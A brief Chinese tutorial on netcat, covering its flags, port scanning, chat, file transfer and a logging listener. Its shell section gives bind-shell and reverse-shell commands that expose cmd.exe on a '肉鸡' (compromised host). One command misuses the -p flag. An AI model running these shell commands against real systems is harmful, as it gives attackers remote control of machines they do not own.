netcat
简称nc,网络界的瑞士军刀,可以读写TCP或UDP网络连接,基于socket协议工作,常用来反弹shell。
参数格式
-
连接到某个主机:
nc [-options] hostname port[s] [ports]...
-
监听本机端口:
nc -l -p port [-options] [hostname] [port]
常用参数:
- -l 开启监听
- -L 监听直到netcat被结束
- -p 指定端口
- -t 以telnet形式应答
- -e 程序重定向
- -n 以数字形式表示ip
- -v 显示执行命令过程
- -z 不进行交互,直接显示结果
- -u 使用UDP协议传输
- -w 设置超时时间
端口扫描
nc -v -n hostname ports
聊天工具
-
服务器端
nc -lvp 8888
-
客户端
nc -nv 127.0.0.1 8888
文件传输
-
服务器端
nc -lnp 8888 < test.txt
-
客户端
nc -nv 127.0.0.1 8888 > test.txt
#改变流方向即可从客户端向服务器端传输文件
反弹shell
-
正向连接(主动连接肉鸡)
-
肉鸡
nc -lvv -p 8888 -t -e cmd.exe
-
本机
nc -nvv -p 127.0.0.1 8888
-
-
反向连接(肉鸡连接本机)
-
肉鸡
nc -t -e cmd.exe 127.0.0.1(本机ip) 8888
-
本机
nc -lvp 8888
-
蜜罐
nc -L -p 8888 > log.txt